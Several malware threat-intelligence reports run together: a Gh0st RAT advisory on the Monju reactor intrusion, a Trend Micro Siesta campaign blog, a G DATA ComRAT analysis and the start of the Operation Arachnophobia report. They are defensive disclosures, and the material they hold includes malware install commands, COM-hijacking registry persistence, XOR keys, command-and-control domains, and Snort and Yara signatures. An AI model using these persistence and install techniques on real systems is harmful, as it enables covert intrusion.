Poetranto, and Kristen Dennesen. Support for this research is provided by grants from the John D. and Catherine T. MacArthur Foundation and the Ford Foundation. Footnotes 1 https://www.hate-speech.org/intense-hunt-for-americas-spies/ 2 http://www.ibtimes.com/isis-militants-target-high-speed-internet-cafes-Raqqah-stronghold-1745382 (note that this report also sources Raqqah is being Slaughtered Silently) 3 https://www.hate-speech.org/intense-hunt-for-americas-spies/ 4 http://www.telegraph.co.uk/news/worldnews/islamic-state/11291510/Syrian-activist-tell-of-brutal-torture-by-Assad- regime-and-Isil.html 5 https://twitter.com/Raqqah_sl and http://www.Raqqah-sl.com 6 Special thanks to Cyber Arabs for assistance with the translation https://www.virustotal.com/en/file/d9da10e6381cb5c97a966bab0e3bdb3966a61e3e49147cd112dc3beabe22a2c3/analysis/ 8 https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-hardy.pdf 9 https://securelist.com/files/2014/08/KL_report_syrian_malware.pdf 10 https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm- for-attacks.html 11 https://citizenlab.org/2014/03/maliciously-repackaged-psiphon/ https://www.eff.org/document/quantum-surveillance-familiar-actors-and-possible-false-flags-syrian-malware- campaigns http://www.birminghammail.co.uk/news/midlands-news/birmingham-hacker-junaid-hussain-syria-7291864 http://www.dailymail.co.uk/news/article-2166850/Junaid-Hussain-Team-Poison-hacker-18-published-Tony-Blairs- address-book-online-faces-jail.html The most recent Citizen Lab report on this topic is Communities @ Risk, which details a four-year long study of targeted digital threats against ten civil society organizations. https://targetedthreats.net TLP: WHITE Context Threat Intelligence Threat Advisory The Monju Incident Context Ref. TA10009 Author Context Threat Intelligence (CTI) Date 27/01/2014 +44 (0) 20 7537 7515 +44 (0) 20 7537 1071 Email threat@contextis.co.uk Context Information Security TLP: WHITE TLP: WHITE Contents 1 Distribution 2 Executive Summary 3 The Monju Incident 3.1 Infection Vector 3.2 Malware 3.2.1 Overview 3.2.2 Detection 4 Appendix A File Metadata TLP: WHITE Page 2 / 11 TLP: WHITE 1 Distribution Context Information Security distribute Context Threat Intelligence (CTI) reporting under the Traffic Light Protocol (TLP)[1], a method of classifying a document in order to promote the distribution of sensitive information between individuals, organisations or communities in a controlled and trusted way, based on the originator s wishes. The various levels of the TLP are represented by the following colours: RED - Personal; for named recipients only Sources may use TLP: RED when information cannot be effectively acted upon by additional parties, and could lead to impacts on a party's privacy, reputation, or operations if misused. Recipients may not share TLP: RED information with any parties outside of the specific exchange, meeting, or conversation in which it is originally disclosed. TLP: RED information will be passed verbally or in person. AMBER - Limited Distribution Sources may use TLP: AMBER when information requires support to be effectively acted upon, but carries risks to privacy, reputation, or operations if shared outside of the organisations involved. Recipients may only share TLP: AMBER information with members of their own organisation who need to know, and only as widely as necessary to act on that information. GREEN Community Wide Sources may use TLP: GREEN when information is useful for the awareness of all participating organisations as well as with peers within the broader community or sector. Recipients may share TLP: GREEN information with peers and partner organisations within their sector or community, but not via publicly accessible channels such as publication or posting publicly on the Internet. - Unlimited Distribution Sources may use TLP: WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP: WHITE information may be distributed freely, without restriction. 1 http://www.oecd.org/dataoecd/25/10/40761118.pdf TLP: WHITE Page 3 / 11 TLP: WHITE 2 Executive Summary On 2nd January 2014 a Systems Administrator at the Monju fast breeder reactor facility in Japan noticed suspicious connections emanating from a machine in the control room, coinciding with what was a seemingly routine software update to a free media player. Among other items, staff training documents and more than 40,000 emails were stored on the machine and thought to be harvested by the attacker. The Japanese Atomic Energy Agency is investigating further. The attack appears to have been the result of the attackers having compromised the GOM Player update server and having it act as a watering hole , meaning that machines which access the site are delivered malware. Gom Player originates in South Korea and in some parts of Asia it is a popular alternative to Windows Media Player. It is unclear whether every machine trying to download an update received this malware or whether only machines which fitted a certain profile were infected. Technical analysis of the implant on the compromised machine has shown it to be a variant of a Trojan which has been in the wild for some years now and continues to be effective. The Gh0st RAT has been used extensively in attacks linked to the Chinese state, though it is important to remember that the code is publicly available and can be modified and used by anyone. The targeting of a Japanese nuclear facility however, is consistent with Chinese state intelligence requirements. If this is the work of a Chinese group then we feel the targeting may go much further than the Civil Nuclear sector and thus be of interest to the wider Energy Sector and industry as a whole. In order to inform the Energy Sector and beyond about this attack, we have compiled a technical summary of the attack and have provided a number of Indicators Of Compromise (IOCs) which can be used to aid detection. It is likely that the attackers would redeploy their implant against other targets, albeit with a delivery mechanism more tailored to the location of the intended victims. TLP: WHITE Page 4 / 11 TLP: WHITE 3 The Monju Incident 3.1 Infection Vector Based on open source reporting, it appears that the intrusion took place via the compromise of the GOM Player update server (app.gomlab.com), where attackers may have gained entry via a PHP-based webshell, hidden within an image, present on the host since October 2011[2]. The observed malicious activity relates to the modification of a file that controls GOM Player updates, spanning the date range 27th December 2013 to 16th January 2014, during which time these alterations are reported to have only manifested themselves for visitors on certain IP ranges; evidence supporting this claim has not yet been made public. If this was indeed the case, then the nature of this attack is certainly more targeted than one that would cover the entire userbase of the GOM Player product, with victims comprising of the Japanese Government in addition to those at the Monju nuclear facility. The modified file redirected the GOM Player update process to another compromised server (www.fudousankaitori.jp (203.189.101.35)), where a file containing both the legitimate update and the malware was deliver to the victim. Modified Update URL app.gomlab.com GOM Player Upd ate Requ est GOM Update Download Request Victim GOM Player and Malware www.fudousankaitori.jp Malware Command And Control Compromised Server testqweasd.tk Attacker Infrastructure A diagram illustrating the modified flow of the GOM Player update process which led to the compromise 2 http://hummingbird.tistory.com/5187 TLP: WHITE Page 5 / 11 TLP: WHITE 3.2 Malware 3.2.1 Overview Deployed to the system via a compressed bundle containing the official GOM Player setup binary and a self-extracting RAR archive containing the malicious files, the malware consists of a number of individual pieces. Upon extraction from the RAR archive, the installer component (0ae82fd94836815a1e8d284ccb75109d) is automatically launched alongside the GOM Player update, distracting victims from the malicious activity taking place. The installer component is referred to by the author as miansha' which, according to an East Asia Cyber Threat Intelligence Researcher, is likely Mi ), a phrase commonly used by People s Republic of China (PRC) hackers to mean anti Antivirus detection or Antivirus avoidance ; Symantec[3] have named the detection for this code Backdoor.Miancha , where Mi , likely shorthand for ) similarly means Antivirus avoidance . The installer is responsible for the malware persistence mechanism, adding entries to the registry in the following locations, depending on Windows Version: Miancha Persistence Registry Keys Windows Vista and later HKEY_USERS\.default\Software\Classes\CLSID\{ECD4FC4D5213-11D0-B792-00A0C90312E1}\InProcServer32\@ = expand:"C:\WINDOWS\temp\install.ocx" Prior to Windows Vista HKEY_USERS\.default\Software\Classes\CLSID\{B12AE898D056-4378-A844-6D393FE37956}\InProcServer32\@ = expand:"C:\WINDOWS\temp\install.ocx" The installer will also determine the system architecture (32- or 64-bit) and then deobfuscate the relevant loader DLL to the path C:\Windows\temp\install.ocx ensuring the malware is launched on system start-up. Oddly, this file is padded with null bytes, resulting in a 25 megabyte file. Repackaged Update GoMPLAYERJPSETUP.EXE (a9225e059d9dace1b259bceec7f48dae) Real GOM Player Installer GOMPLAYERJPSETUP_JP.EXE (1ff3b3628e40f0215afacf482ba17782) Obfuscated Malware Loaders dll.tmp (d5548e1913950a42a04debcac4222bd2) dll64.tmp (01f7b465242237bd3d31d39767aa68e0) Self-extracting RAR Archive containing Malware GOMPLAYERBETASETUP_JP.exe (db79a93448acac8786581858f3edc36a) Malicious Installer install.exe (0ae82fd94836815a1e8d284ccb75109d) Obfuscated Implant Code instructions.pdf (569071c45f47b7fb7a75f30bc07d5739) instructions64.pdf (55474f8e26f2b6fc3b5d78ce9a77b0b0) The deployment chain of the Miancha Gh0st variant 3 http://www.symantec.com/security_response/writeup.jsp?docid=2014-012407-3922-99 TLP: WHITE Page 6 / 11 TLP: WHITE The main implant code is stored in files named instructions.pdf and instructions64.pdf; not PDF documents but instead DLLs obfuscated with a one-byte XOR with 0x14, similar to the malware loader DLLs. The loader, referred to by the malware author as (shell), reads and deobfuscates the main implant code which then communicates with the attacker-controlled server at testqweasd.tk (211.43.220.89) on TCP port 443. The main implant code is referred to as Black on White ), a term used in the PRC hacking community to denote the act of Antivirus avoidance through the loading of malicious black code via non-malicious or trusted white code. This is a practice recently illustrated through the deployment of the PlugX trojan, utilising DLL load order hijacking alongside a signed (trusted) executable. Analysis of this malware revealed it to be a variant of the Gh0st RAT, often used by Chinese actors (including those who are state-motivated or directly state-sponsored). This specific variant shows similarities to that used during the VOHO campaign[4], where Gh0st RAT was spread via watering hole attacks utilising vulnerable websites belonging to financial services and technology companies. Specifically, the initial five bytes of the communications (often used to denote a campaign or victim) are HTTPS , amended from the original Gh0st ; the same as the traffic produced by the VOHO Gh0st variant. In addition to delivering system-specific details back to the attacker, Gh0st RAT provides the capability to deploy additional malware, enabling the harvesting of sensitive data and enabling the further propagation throughout the infected network. 4 https://blogs.rsa.com/voho-apt-campaign-update/ TLP: WHITE Page 7 / 11 TLP: WHITE 3.2.2 Detection To enable rapid response, the following Snort signature can be deployed: alert tcp $HOME_NET any -> $EXTERNAL_NET 53,80,443,1080 (msg:"gh0st RAT 'HTTPS' variant (aka Backdoor.Miancha)"; flow:established,to_server; content:"HTTPS"; depth:5; rawbytes; classtype:trojan-activity; sid:xxx; rev:1;) Additionally, the following Yara signature should identify both encoded payloads and the active implant in memory: rule Trojan_W32_Gh0stMiancha_1_0_0 strings: $0x = { 57 5b 5a 5a 51 57 40 34 31 67 2e 31 70 34 5c 40 40 44 3b 25 3a 19 1e 5c 7b 67 60 2e 34 31 67 2e 31 70 19 1e 55 77 77 71 64 60 2e 34 3e 3b 3e 19 1e 57 7b 7a 60 71 7a 60 39 40 6d 64 71 2e 34 60 71 6c 60 3b 7c 60 79 78 19 1e 44 66 7b 6c 6d 39 57 7b 7a 7a 71 77 60 7d 7b 7a 2e 34 5f 71 71 64 39 55 78 7d 62 71 19 1e 57 7b 7a 60 71 7a 60 39 78 71 7a 73 60 7c 2e 34 24 19 1e 19 1e } $1 = { 5c e7 99 bd e5 8a a0 e9 bb 91 5c } $1x = { 48 f3 8d a9 f1 9e b4 fd af 85 48 } $2 = "DllCanLoadNow" $2x = { 50 78 78 57 75 7a 58 7b 75 70 5a 7b 63 } $3x = { 5a 61 79 76 71 66 34 7b 72 34 67 61 76 7f 71 6d 67 2e 34 31 70 } $4 = "JXNcc2hlbGxcb3Blblxjb21tYW5k" $4x = { 5e 4c 5a 77 77 26 7c 78 76 53 6c 77 76 27 56 78 76 78 6c 7e 76 26 25 60 4d 43 21 7f } $5 = "SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==" $5x = { 47 51 52 47 46 52 70 56 41 7f 42 77 46 51 42 40 45 25 5e 5e 41 52 46 5e 40 24 21 77 41 27 78 6e 70 53 42 60 4c 51 5a 78 76 7a 46 6d 4d 43 6c 45 77 79 2d 7e 4e 4c 5a 6e 76 27 5e 77 59 55 29 29 } $6 = "C:\\Users\\why\\" $6x = { 57 2e 48 41 67 71 66 67 48 63 7c 6d 48 } $7 = "g:\\ykcx\\" $7x = { 73 2E 48 6D 7F 77 6C 48 } $8 = "(miansha)" $8x = { 3C 79 7D 75 7A 67 7C 75 3D } $9 = "server(\xE5\xA3\xB3)" $9x = { 7C 2E 48 26 24 25 27 3A 25 25 3A 26 21 48 67 71 66 62 71 66 3C F1 B7 A7 3D 48 46 71 78 71 75 67 71 48 67 71 66 62 71 66 3A 64 70 76 } $cfgDecode = { 8a ?? ?? 80 c2 7a 80 f2 19 88 ?? ?? 41 3b ce 7c ??} condition: any of them TLP: WHITE Page 8 / 11 TLP: WHITE 4 Appendix A File Metadata Gh0stMiancha Installer 0ae82fd94836815a1e8d284ccb75109d SHA1 bcba2a4d55d860f0bca3b9f80a5deb2dd69f000c SHA256 b2f9e2f7c07235a6ea03e90ba591f0a43d38d8ff8ee6583473b6fbb63831619d Size (bytes) 13314 Compile Time 2013-11-22 12:19:48 UTC In-the-wild Filenames install.exe PDB String g:\ykcx\install(miansha)\Release\install.pdb Obfuscated TrojanLoader:W32/Gh0stMiancha d5548e1913950a42a04debcac4222bd2 SHA1 ac48bc2deefd30dad762a23e85409a7eec48b723 SHA256 3d43f7fab3c8f574e2790c2d97f85fa87f0d53e412c995462e53348b4fc34b74 Size (bytes) 10299 Compile Time In-the-wild Filenames dll.tmp TrojanLoader:W32/Gh0stMiancha 04e7361323b431f7c9f86388f316bbea SHA1 e3c095c7ace563b41b3f4310f3de69e47c86fd03 SHA256 73ef70f1e80e32341eebcb3b1084cf896f6b1aa701b7a6c7abcb9293500d84ae Size (bytes) 10299 Compile Time 2013-11-26 09:34:10 UTC In-the-wild Filenames install.ocx PDB String h:\2013.11.25\server( )\Release\server.pdb Obfuscated TrojanLoader:W64/Gh0stMiancha 01f7b465242237bd3d31d39767aa68e0 SHA1 db4ec59bf7f34a21f9dc7f2ded68c616f7c0fe47 SHA256 ed39c1d86ff8cfe18ef58e850d205a678d255150324b00661b91448173c94900 Size (bytes) 12347 Compile Time In-the-wild Filenames dll64.tmp TrojanLoader:W64/Gh0stMiancha 008fbd0fde06edb31fc7eecdae1a3030 SHA1 b9ae0a079cd1dae96425ced4bb96ba0f71c87a7a TLP: WHITE Page 9 / 11 TLP: WHITE SHA256 cc8d38d3cc214ff3ad10d6859a88e018b1f7e0ed6df7d04a6f4368bda851ba14 Size (bytes) 12347 Compile Time 2013-11-26 11:47:39 UTC In-the-wild Filenames install.ocx PDB String C:\Users\why\Desktop\server( )\x64\Release\server.pdb Obfuscated Trojan:W32/Gh0stMiancha 569071c45f47b7fb7a75f30bc07d5739 SHA1 540bb9d2dee8f4e10e5ae0a5cc900b346a57a198 SHA256 8a00b2aefdcd0bb22013bbe9c7941fa16af8246e545e1522622006b9c88ca716 Size (bytes) 169019 Compile Time In-the-wild Filenames instructions.pdf Trojan:W32/Gh0stMiancha 916b1a07efb145c450b4c13540be6c3e SHA1 7984639beb4e9870301d3b44a68b4346f9a6b826 SHA256 f26c2e9bee680f8e4d7afd73e2984a6697263334d2f0049a40e050d75293035e Size (bytes) 169019 Compile Time 2013-12-06 08:08:28 UTC In-the-wild Filenames PDB String h:\2013.11.25\ \server(update.dll)(instructions.pdf)\Release\server.pdb Obfuscated Trojan:W64/Gh0stMiancha 55474f8e26f2b6fc3b5d78ce9a77b0b0 SHA1 3f714c33992e906e69df2d5d4971beaed336d9f4 SHA256 27e5670f68ff68acc80716c6870f4e5d06c471791f087d5b9b7613f8dc700037 Size (bytes) 233019 Compile Time In-the-wild Filenames instructions64.pdf Trojan:W64/Gh0stMiancha 1d2c77f0f8a715de09ce6fae5fc800d4 SHA1 30784735763b060a39f76c29439a6aebbf6a4b9b SHA256 2fdf454f6b1c82d757d054bea5f0438f5da1ecd9e5059610d3d4b74e75a7c8b0 Size (bytes) 233019 Compile Time 2013-12-06 08:10:34 UTC In-the-wild Filenames PDB String C:\Users\why\Desktop\server(update.dll)(instructions.pdf)x64\x64\Release\server.pdb TLP: WHITE Page 10 / 11 TLP: WHITE Context Information Security - Threat Intelligence - threat@contextis.co.uk London (HQ) Cheltenham sseldorf Melbourne 4th Floor Corinth House 1.OG 4th Floor 30 Marsh Wall 117 Bath Road Adersstr. 28 155 Queen Street London E14 9TP Cheltenham GL53 7LS 40215 D sseldorf Melbourne VIC 3000 United Kingdom United Kingdom Germany Australia TLP: WHITE Page 11 / 11 The Siesta Campaign: A New Cybercrime Operation Awakens In the past few weeks, we have received several reports of targeted attacks that exploited various application vulnerabilities to infiltrate various organizations. Similar to the Safe Campaign, the campaigns we noted went seemingly unnoticed and under the radar. The attackers orchestrating the campaign we call the Siesta Campaign used multicomponent malware to target certain institutions that fall under the following industries: Consumer goods and services Energy Finance Healthcare Media and telecommunications Public administration Security and defense Transport and traffic Threat actors don t always rely on complex attack vectors to infiltrate an organization s network. Attackers can also make use of basic social engineering techniques for their victims to take the bait, such as in our case study below. The Siesta Campaign: A Case Study We are currently investigating an incident that involved attackers sending out spear-phishing emails addressed to executives of an undisclosed company. These emails were sent from spoofed email addresses of personnel within the organization. Instead of using attachments and document exploits, this specific campaign served their malware through a legitimate-looking file download link. To lure the target into downloading the file, the attacker serves the archive under a URL path named after the target organization s name as cited below: http://{malicious domain}/{organization name}/{legitimate archive name}.zip This archive contains an executable (TROJ_SLOTH) disguised as a PDF document. When executed, it drops and opens a valid PDF file, which was most probably taken from the target organization s website. Along with this valid PDF file, another malicious component is also dropped and executed in the background. This backdoor component is named google{BLOCKED}.exe. (Due to the ongoing investigation, we are unfortunately unable to share hashes and filenames at this time.) This backdoor connects to http://www.micro{BLOCKED}. com/index.html, which are its command-and-control (C&C) servers. Trend Micro identifies these samples as BKDR_SLOTH.B. At this point, the malware begins waiting for additional commands from the attacker. The encrypted commands that are accepted are: Sleep: Commands the backdoor to sleep for specified number of minutes We have received a sleep command of sleep:120 during our analysis which means that the malware will wait for 2hrs before establishing a connection again to the C&C server Download: Commands the backdoor to download and execute a file (most probably another Win32 executable) from a specified URL The C&C servers used in this campaign are found to be newly registered and also short-lived, making it difficult for us to track the malware s behavior. Based on our research, we found 2 variants of the malware used in this campaign. Although not exactly alike, the behaviors are nearly identical. One of the similar samples is a file named Questionaire Concerning the Spread of Superbugs February 2014.exe (SHA1: 014542eafb792b98196954373b3fd13e60cb94fe). This sample drops the file UIODsevr.exe, its backdoor component which behaves similarly as BKDR_SLOTH.B with the addition of communicating to its C&C at skys{BLOCKED}com. These samples are identified by Trend Micro as BKDR_SLOTH.A. Both variants excessively use Sleep calls, which renders the malware dormant for varying periods of time, hence the campaign name Siesta (which means to take a short nap in Spanish). Commands are being served through HTML pages using different keywords as listed below: Variant 1 prefix: >SC< Variant 2 prefix: longDesc= suffix: .txt Listed below are the backdoor commands we were able to see from our analysis: Variant 1 run1 open a remote shell run2 pipe shell commands from URL1 run3 pipe shell commands from URL2 http pipe shell commands from C2 sleep for specified number of minutes Variant 2 sleep: sleep for specified number of minutes download: download and execute another executable from C2 Attribution Attribution of campaigns and attack methods can often be difficult. We were able to identify this new campaign through inspecting hashes, C&Cs, registrants, commands, and additional information. Figure 1. Attribution Graph (click the thumbnail for full view) During the course of our investigation into this new campaign, we investigated the malware dropped. We quickly noticed the registrant of sky{BLOCKED}.com is also the same registrant as micro{BLOCKED}.com and ifued{BLOCKED}.net. This individual used the name Li Ning and others with an email address of xiaomao{BLOCKED}@163.com. This individual also recently registered 79 additional domains. There are a total of roughly 17,000 domains registered with this same email address. Figure 2. Domains registered under the name Li Ning, based on Whois data Conclusion Early detection is crucial in preventing targeted attacks from exfiltrating confidential company data. Organizations and large enterprises need an advanced threat protection platform like Trend Micro Deep Discovery, which can mitigate the risks posed by targeted attacks through its various security technologies and global threat intelligence. At the heart of our Custom Defense solution is Deep Discovery which provides real-time local and global intelligence across the attack life cycle. This can help IT administrators understand the nature of the attack they are dealing with. Trend Micro blocks all related threats, emails and URLs associated with these attacks. As always, we advise users to exercise caution when opening emails and links. With additional insights and analysis from Kervin Alintanahin, Dove Chiu, and Kyle Wilhoit. The Uroburos case: new sophisticated RAT identified In February 2014, the experts of the G DATA SecurityLabs published an analysis of Uroburos, the rootkit with Russian roots. We explained that a link exists between Uroburos and the Agent.BTZ malware, which was responsible for "the most significant breach of U.S. military computers ever." [1] Nine months later, after the buzz around Uroburos, aka Snake or Turla, we now identified a new generation of Agent.BTZ We dubbed it ComRAT and, by now, analyzed two versions of the threat (v3.25 and v3.26). As reported earlier this year, Agent.BTZ used the same encoding key and the installation log file name as Uroburos. ComRAT, in its version 3.25, shows the same behavior. Furthermore, the attackers also shared a C&C domain. The latest version of ComRAT known to us (v3.26) uses a new key and does not create the installation log file, in order to complicate the analysis and to disguise the link between the two cases. Another very interesting fact: the attackers use COM Object hijacking, the same persistence mechanism as COMpfun, which we described recently. Taken everything into consideration, the indications we saw during our analyzes lead to the supposition that the group behind Agent.BTZ and Uroburos is still active and is pursuing the Agent.BTZ path once more to improve and change the RAT. Dropper The analyzed file is the latest version we identified: v3.26. The version identification is described in the chapter files . The major difference between this version and the older version(s) will be described there. File installation The first task of the malware is to install the file credprov.tlb in %APPDATA%\Microsoft\. This file is the main payload of the malware. The dropper executes the following command in order to install a second file: rundll32.exe %APPDATA%\Microsoft\credprov.tlb,Install %APPDATA%\Microsoft\shdocvw.tlp The second file is shdocw.tlp. The two files are Microsoft Windows dynamic libraries. Persistence To be started during the boot process of the infected machine, the malware creates the following registry key: HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32 = %APPDATA%\shdocvw.tlp This registry key is used to associate the library shdocvw.tlp to the object 42aedc87-2188-41fd-b9a3-0c966feabec1 as previously explained in the article about COMpfun. The purpose is to load the library into each and every process executed on the infected system. Dropper s log file If the version of the malware is older than 3.26, the dropper creates an additional file called winview.ocx. We noticed that the file name is still the same as the file name used by Agent.BTZ in the past. The file is xored with the following obfuscation key (used by both, Uroburos and Agent.BTZ): 1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s Here is the decoded log file content: user1@gdata$ ./decode.py winview.ocx Log begin: 06.11.2014 22:55:55 TVer=2.2 06.11.2014 22:55:55 TVer=2.3 06.11.2014 22:55:55 CFG: CFG_4 06.11.2014 22:55:55 User: user1 06.11.2014 22:55:55 Machine: x86 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\shdocvw.tlb [2] 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\oleaut32.dll [2] 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\oleaut32.tlb [2] 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\credprov.tlb [2] 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\libadcodec.dll [2] 06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\libadcodec.tlb [2] 06.11.2014 22:55:55 Writing C:\Documents and Settings\user1\Application Data\\Microsoft\\shdocvw.tlb 51200B 06.11.2014 22:55:56 Writing C:\Documents and Settings\user1\Application Data\\Microsoft\\credprov.tlb 260096B Ok 06.11.2014 22:55:57 Exit code1 0 06.11.2014 22:55:57 Writing 3072B Ok We can notice that the malware checks if an older version is installed on the system and if this is the case, the dropper removes the older version. In contrast to this, in our Uroburos analysis, we found out that Uroburos does not install itself in case a version of Agent.BTZ was found on a system. Execution flow and features During the startup of the infected machine, the shdocvw.tlp library is loaded into all processes. If the process is explorer.exe, this library will load the other library called credprov.tlb. This library is the real payload. Its features are common for a Remote Administration Tool (RAT): command execution; file download; file upload; information gathering. ComRAT s communication to the command and control server is performed by the browser process and not by explorer.exe in order to avoid being blocked by a firewall on the system or any additional security products. The communication between the processes is performed by named pipe. Log files Two log files are created during the malware execution: mskfp32.ocx and msvcrtd.tlb. If the malware version is older than 3.26, the xored key is the same as the dropper key. Concerning the version 3.26, the malware uses a new non-ASCII key. Here is an example of decoded log file for the version 3.26: user1@gdata$ ./decode.py mskfp32.ocx 2.1 0 ' We can identify the version of the malware thanks to the PVer flag. The command and control server information is stored in the registry, not in an XML, and encoded: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionMRU\IPlace For example, in the analyzed sample the CC is: weather-online.hopto.org. This domain is far from unknown, as it has been mentioned in BAE System s Uroburos (aka Snake) analysis paper as C&C server domain for the Uroburos malware. Another connection between the cases. If the malware version in lower than 3.26, the XML log file contains the command and control server information: Summary Let us summarize the similarities and differences between Agent.BTZ, Uroburos and ComRAT as far as we can: Similarities: Before version 3.26: use of the same xor key use of the same file name for the log On all versions: Some parts of the code are exactly the same (appears to be copy & paste) That is the reason why the sample is detected as Uroburos (aka Turla). The same code was used by Agent.BTZ and also the dll loaded into userland during the Uroburos analysis. Command and control server domains are shared between Uroburos and ComRAT. Differences: In version 3.26, the author changed the key and remove the known file name This action can be an indication for the developer s effort to hide this connection The main difference is the design Agent.BTZ is a common RAT, a simple library executed on an infected machine. ComRAT is more complex and cleverer. The malware is loaded into each and every process of the infected machine and the main part (payload) of the malware is only executed in explorer.exe. Furthermore, the C&C communication blends into the usual browser traffic and the malware communicates to the browser by named pipe. It is by far a more complex userland design than Agent.BTZ. These differences, mainly the more complex design, lead us to give this malware a new name. The analyzed dropper of v3.25 has a compilation date of February 6th 2014. The more recent dropper of v3.26, which has all the mentioned changes implemented, reveals a compilation date of January 3rd 2013. We suspect that this date is spoofed in order to disguise that this is in fact a newer version. Conclusion This analysis shows that even after the Uroburos publication in February 2014, the group behind this piece of malware seems to be still active. In any case, the ComRAT developers implemented new mechanisms, changed keys, removed log files to hide their activities and tried to disguise the connections between the RAT ComRAT, the rootkit Uroburos and the RAT Agent.BTZ as much as possible. However, we can still follow the evolution of the malware by comparing the versions. The persistence mechanism discovered in October 2014 makes it possible to intrude into a system in a really discreet manner and we estimate that other actors will use the same persistence mechanism in the near future. We will definitely keep our ears and eyes open and continue analyzing. 51e7e58a1e654b6e586fe36e10c67a73 (dropper v3.25) e6ce1f962a47479a86ff2e67129f4ecc (lib1, v3.25) ec7e3cfaeaac0401316d66e964be684e (lib2, v3.25) 0ae421691579ff6b27f65f49e79e88f6 (dropper v3.26) 255118ac14a9e66124f7110acd16f2cd (lib1 v3.26) b407b6e5b4046da226d6e189a67f62ca (lib2, v3.26) 8ebf7f768d7214f99905c99b6f8242dc (dropper, unknown version) 9d481769de63789d571805009cbf709a (dropper, unknown version) 83a48760e92bf30961b4a943d3095b0a (lib 64-Bit, unknown version) ea23d67e41d1f0a7f7e7a8b59e7cb60f (lib 64-Bit; unknown version) Paths %APPDATA%\\Microsoft\\shdocvw.tlb %APPDATA%\\Microsoft\\oleaut32.dll %APPDATA%\\Microsoft\\oleaut32.tlb %APPDATA%\\Microsoft\\credprov.tlb %APPDATA%\\Microsoft\\libadcodec.dll %APPDATA%\\Microsoft\\libadcodec.tlb Registry HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32 Command and control weather-online.hopto.org webonline.mefound.com sportacademy.my03.com easport-news.publicvm.com new-book.linkpc.net ------------------------------- Related articles: October 30th 2014: COM Object hijacking: the discreet way of persistence June 2nd 2014: Analysis of Uroburos, using WinDbg May 13th 2014: Uroburos rootkit: Belgian Foreign Ministry stricken March 3rd 2014: Uroburos - Deeper travel into kernel protection mitigation February 28th 2014: Uroburos - highly complex espionage software with Russian roots ------------------------------[1] www.foreignaffairs.com/articles/66552/william-j-lynn-iii/defending-a-new-domain Operation Arachnophobia Caught in the Spider s Web Rich Barger | Cyber Squared Inc. Mike Oppenheim | FireEye Labs Chris Phillips | FireEye Labs Contents Team Introduction....................................................................................................................................................... 1 Key Findings.................................................................................................................................................................. 1 Summary....................................................................................................................................................................... 1 Backstory......................................................................................................................................................................2 VPSNOC/Digital Linx/Tranchulas............................................................................................................................ 4 Technical Observations...............................................................................................................................................8 Conclusion....................................................................................................................................................................11 Appendix A: Malware Details................................................................................................................................... 12 Appendix B: MD5 Hashes and Malware Table........................................................................................................ 17 Appendix C: VPSNOC Email Header Analysis....................................................................................................... 20 Appendix D: Inconsistencies Observed................................................................................................................... 21 Appendix E: VPSNOC & Digital Linx Associations.................................................................................................23 Appendix F: Personas.................................................................................................................................................24 Persona #1................................................................................................................................................................................ 24 Persona #2................................................................................................................................................................................ 27 Appendix G: Tranchulas........................................................................................................................................... 30 Digital Appendix 1: Research Collateral...................................................................................................................32 Digital Appendix 2: Raw Email Communications...................................................................................................33 Digital Appendix 3: Screenshot Archives................................................................................................................34 Digital Appendix 4: Maltego Visualization.............................................................................................................35 OPERATION ARACHNOPHOBIA Team Introduction Cyber Squared Inc. s ThreatConnect Intelligence Research Team (TCIRT) tracks a number of threat groups around the world. Beginning in the summer of 2013, TCIRT identified a suspected Pakistani-origin threat group. This group was revealed by TCIRT publicly in August 2013. In the months following the disclosure, we identified new activity. Cyber Squared partnered with experts at FireEye Labs to examine these new observations in an attempt to discover new research and insight into the group and its Operation Arachnophobia . The following report is a product of collaborative research and threat intelligence sharing between Cyber Squared Inc. s TCIRT and FireEye Labs. Key Findings While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently point to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets and/or those who are involved in India-Pakistan issues. The threat actors utilized a hosting provider that is a Pakistani-based company with subleased VPS space within the U.S. for command and control (C2). The customized malware (BITTERBUG) used by these threat actors has only been observed hosted on and communicating with two IP addresses operated by a Pakistan-based hosting provider. Early variants of the BITTERBUG malware had build paths containing the strings Tranchulas and umairaziz27 Tranchulas is the name of a Pakistani security firm; Umair Aziz is the name of a Tranchulas employee. Following the release of our blog post highlighting this activity and the malware s build strings, the threat actors appear to have modified their binary file paths to make them more generic. Employees at both the Pakistan-based hosting provider and Tranchulas appear within each others social networks. Summary On August 2, 2013, the TCIRT published the blog Where There is Smoke, There is Fire: South Asian Cyber Espionage Heats in which TCIRT identified custom malware, later dubbed BITTERBUG by FireEye, suspected to be linked to Pakistani-based exploitation activity directed against Indian entities. We found debug path references to Tranchulas , which is also the name of a Pakistani security company. Tranchulas claims to support national level cyber security programs and the development of offensive and defensive cyber capabilities. At the time, the incident seemed to be an isolated one for TCIRT, but it was only the beginning. Our suspicions of Tranchulas involvement in the activity began to mount, based on a series of events that occurred both before and after the release of our blog post. During the past year, we communicated with Tranchulas and the Pakistan-based hosting provider. Suspicious responses and oddly similar replies received from both companies to our inquiries, as well as anomalies in their email headers, prompted us to research the companies further. Our research revealed: The C2 hosting provider (VPSNOC) has likely 